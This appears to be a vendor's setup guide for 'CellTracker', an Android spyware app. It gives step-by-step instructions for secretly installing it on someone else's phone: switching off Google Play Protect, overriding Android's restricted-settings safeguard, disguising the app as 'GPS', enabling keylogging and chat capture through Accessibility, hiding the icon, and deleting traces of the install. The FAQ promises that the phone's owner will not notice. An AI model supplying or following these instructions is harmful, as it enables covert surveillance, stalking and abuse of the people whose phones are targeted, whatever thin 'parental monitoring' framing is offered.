CellTracker Knowledge Base & Setup Guide

The complete user manual and troubleshooting guide for CellTracker. Follow these instructions to easily install, configure permissions, and protect the app on any Android device.

1. Prerequisites 2. Pre-Installation 3. App Download & Install 4. App Configuration 5. Battery Settings 6. Live Dashboard 7. FAQs

Step 1

1. Prerequisites

Before you begin the installation, ensure you have the following ready:

CellTracker Account

Create a free account with your email at dashboard.celltracker.io.

Physical Access

You need physical access to the target Android phone for 2-3 minutes with legal authorization.

Internet Connection

Active Wi-Fi or mobile data connection on the target device to download and sync data.

Step 2

2. Pre-Installation & Settings Configuration

Configure these settings on the target device to prevent Google Play Protect from blocking background tracking.

2.1 Disable Google Play Protect (Critical)

Because CellTracker operates silently in the background for parental monitoring, Google Play Protect might detect it as potentially unsafe and block background sync. You must turn off Play Protect:

Open the Google Play Store app on the target phone.
Tap on the Profile Icon in the top-right corner.
Select Play Protect from the menu.
Tap the Settings icon (⚙️) in the upper right corner.
Turn OFF both options:
- Scan apps with Play Protect
- Improve harmful app detection
Tap Turn off on the confirmation prompt.

2.2 Enable Unknown Sources

For Android 7 & earlier: Settings > Security > Check Unknown sources > Tap OK.
For Android 8 to Android 15: When downloading in Google Chrome, tap Settings on the prompt and turn ON Allow from this source.

2.3 Allow Restricted Settings (Android 13, 14 & 15)

Important for Android 13+: If you see "Restricted setting - For your security, this setting is currently unavailable" when enabling Accessibility, follow these steps:

Go to phone Settings > Apps > Select GPS (CellTracker).
Tap the Three Dots (⋮) or Info icon in the top-right corner.
Tap Allow restricted settings.
Enter your screen lock PIN or fingerprint to authenticate.
Now return to Accessibility and toggle ON the GPS service.

1. Alert

2. Three Dots

3. Allow

Step 3

3. App Download & Installation

Download and install the tracking client on the target phone.

Download APK: Open Chrome on the target phone, go to https://celltracker.io/ and tap Download App (or sign in at dashboard.celltracker.io).
If Chrome displays "File might be harmful", tap Download anyway.
Install Application: Tap the downloaded APK file from notifications or Downloads, then tap Install.
Note: The application is named « GPS » to operate stealthily.

Video Walkthrough:

Step 4

4. App Configuration & Stealth Mode

Grant required Android permissions and hide the application icon for 100% invisible operation.

Open and Login: Open the installed app (named « GPS »). Enter your registered CellTracker email address and password, then tap Login.
Grant System Permissions:
- Accessibility Service: Turn ON for « GPS » (captures WhatsApp/Social chats, keylogger, web history).
- Notification Access: Turn ON for incoming chat notifications.
- Location Permission: Select Allow all the time.
- Usage Access: Turn ON for app usage tracking.
Hide Icon (Stealth Mode): Once permissions are granted, tap Hide Icon. The app icon will disappear from the home screen and app launcher.
Clean Up: In Chrome, tap Three Dots > Downloads > Delete the downloaded APK file and clear recent browsing history.

Step 5

5. Device-Specific Battery Optimization

To prevent Android manufacturers from killing the background monitoring service, apply these settings for your device model:

📱 Samsung (One UI - Android 9 to 15)

1. Settings > Battery and device care > Battery > Background usage limits > Never sleeping apps > Tap + > Select « GPS » > Tap Add.

2. Settings > Apps > GPS > Battery > Choose Unrestricted.

3. Settings > Battery and device care > Memory > Excluded apps > Add GPS.

📱 Xiaomi / Redmi / POCO (MIUI & HyperOS)

1. Settings > Apps > Manage apps > « GPS » > Toggle ON Autostart > Tap OK.

2. In same screen > Battery saver > Select No restrictions.

3. Recent apps screen > Long press GPS app card > Tap Lock (🔒).

📱 OPPO / Realme (ColorOS & Realme UI)

1. Settings > Battery > More battery settings > Optimize battery use > « GPS » > Select Don't optimize.

2. Settings > App Management > App list > GPS > Battery usage > Turn ON Allow background activity.

📱 Vivo / iQOO (Funtouch OS)

1. Settings > Battery > Background power consumption management > « GPS » > Select High background power consumption.

2. Open iManager app > App manager > Autostart management > Enable GPS.

📱 OnePlus (OxygenOS)

1. Settings > Battery > Battery optimization > Switch to All apps > « GPS » > Select Don't optimize.

2. Settings > Apps > Auto-launch > Enable GPS.

📱 Google Pixel / Motorola / Stock Android

1. Settings > Apps > See all apps > « GPS » > App battery usage > Select Unrestricted.

2. In same screen > Ensure Pause app activity if unused is toggled OFF.

Step 6

6. Login & Start Monitoring

You can now access your tracking dashboard from any PC, tablet, or smartphone:

Visit https://dashboard.celltracker.io/login.
Sign in with your registered email and password.
Within 5 to 15 minutes, initial data sync will complete.
View live GPS Location, Call Logs & Recordings, SMS, WhatsApp / Social Chats, and Photos.

Go to CellTracker Dashboard

Help & FAQ

7. Frequently Asked Questions

Why is location or tracking data not updating?

Ensure the target phone has an active Wi-Fi or mobile data connection, and verify that battery optimization was set to "Unrestricted / No restrictions" (Step 5).

Does the target phone need to be rooted?

No! CellTracker works 100% without rooting on all Android devices from Android 5.0 up to Android 15.

Will the target device owner see CellTracker?

No. When you tap "Hide Icon" (Step 4), the application icon is completely removed from the home screen and app launcher. It runs invisibly as a background service named « GPS ».

What if Play Protect turns back on after an update?

Occasionally, an Android OS update may re-enable Play Protect. If so, simply open the Play Store on the target phone and repeat Step 2.1 to turn OFF "Scan apps with Play Protect".

Need technical assistance?

Contact our support team at support@celltracker.io with your registered email ID and device details. We respond within 24 hours.